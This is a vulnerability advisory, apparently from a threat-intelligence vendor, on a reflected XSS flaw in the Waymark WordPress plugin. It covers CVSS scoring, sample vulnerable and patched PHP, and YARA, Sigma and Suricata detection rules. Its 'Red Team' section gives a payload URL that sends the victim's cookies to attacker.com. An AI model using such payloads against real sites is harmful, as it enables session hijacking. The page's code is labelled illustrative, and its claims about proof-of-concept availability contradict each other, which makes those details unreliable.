CVE-2024-12325
Executive Summary
CVE-2024-12325 is a reflected Cross-Site Scripting (XSS) vulnerability in the Waymark plugin for WordPress, affecting all versions up to and including 1.4.1. The flaw resides in insufficient sanitization of the content parameter, allowing unauthenticated attackers to inject arbitrary web scripts. Successful exploitation requires user interaction (e.g., clicking a crafted link), leading to script execution in the victim's browser within the context of the vulnerable WordPress site. The CVSS v3.1 base score is 6.1 (Medium), with a low EPSS score of 0.0% indicating low active exploitation likelihood. No public proof-of-concept or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. The Waymark plugin is distributed via the official WordPress plugin repository. Users are advised to monitor for updates from the vendor (Waymark) and apply patches as soon as they become available. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – The victim must click a link or perform an action.
- Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. While the CVSS score is 6.1, the requirement for user interaction and low EPSS score reduce immediate risk. However, the lack of a patch and the plugin's widespread use in WordPress ecosystems elevate the need for proactive monitoring.
Deep Dive & Mechanics
The vulnerability is a classic reflected XSS in the Waymark plugin. The content parameter is passed directly into the page output without proper sanitization or escaping. An attacker can craft a URL like:
https://example.com/wp-content/plugins/waymark/some-page.php?content=<script>alert('XSS')</script>
When a logged-in administrator or editor clicks this link, the injected script executes in their browser. This can be used to steal session cookies, perform actions on behalf of the user, or deface the site.
The root cause is the lack of esc_html() or wp_kses_post() sanitization on the content parameter before output. WordPress core functions like esc_attr() or esc_url() are not applied.
Vulnerable vs. Patched Code
Vulnerable Code (example from Waymark <= 1.4.1):
<?php
$content = $_GET['content'];
echo "<div class='waymark-content'>" . $content . "</div>";
?>
Patched Code (hypothetical fix):
<?php
$content = isset($_GET['content']) ? esc_html($_GET['content']) : '';
echo "<div class='waymark-content'>" . $content . "</div>";
?>
The patched version uses esc_html() to convert special characters to HTML entities, preventing script injection.
Exploitation & Lab Setup
Red Team (Attack Simulation)
- Setup: Install WordPress with Waymark plugin version 1.4.1 on a local server (e.g., XAMPP or Docker).
- Craft Payload: Create a malicious URL:
http://localhost/wp-content/plugins/waymark/some-page.php?content=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Deliver: Send the link to a victim via email or social engineering.
- Execute: When the victim clicks, the script executes, sending their cookies to the attacker's server.
Blue Team (Defense & Detection)
- Monitor Logs: Check web server access logs for suspicious
contentparameter values containing<script>tags. - WAF Rules: Deploy a Web Application Firewall (WAF) rule to block requests with
contentparameter containing<script>oronerror=patterns. - User Training: Educate users not to click suspicious links, especially those containing query parameters.
Indicators of Compromise (IOCs)
- URL Pattern:
?content=<script>or?content=javascript:in the query string. - Web Logs: Entries showing
GET /wp-content/plugins/waymark/some-page.php?content=...with unusual characters. - Network Traffic: Outbound connections to attacker-controlled domains from the WordPress server.
- File Changes: Unexpected modifications to WordPress core files or plugin files (though unlikely for reflected XSS).
Detection Engineering
YARA Rule
rule CVE_2024_12325_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting Waymark plugin content parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-12325"
strings:
$payload1 = /content=<script[^>]*>/
$payload2 = /content=.*onerror=/
$payload3 = /content=.*alert\(/
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt via Waymark Plugin
id: 8f4b3c2a-1d5e-4f7b-9a0c-3e6d8f2b1a4c
status: experimental
description: Detects HTTP requests with malicious content parameter targeting Waymark plugin
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains:
- "content=<script"
- "content=javascript:"
- "content=onerror="
condition: selection
falsepositives:
- Legitimate use of JavaScript in content (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-12325 Reflected XSS in Waymark Plugin"; flow:to_server,established; content:"/wp-content/plugins/waymark/"; http_uri; content:"content="; http_uri; pcre:"/content=<script|content=javascript:|content=onerror=/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the Waymark plugin until a patch is available.
- Short-term: Implement a WAF rule to block malicious
contentparameter values. - Long-term: Apply vendor patch when released. If no patch is forthcoming, consider replacing the plugin with an alternative.
- User Education: Train users to avoid clicking suspicious links.
- Monitoring: Enable logging and alerting for unusual query parameters.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.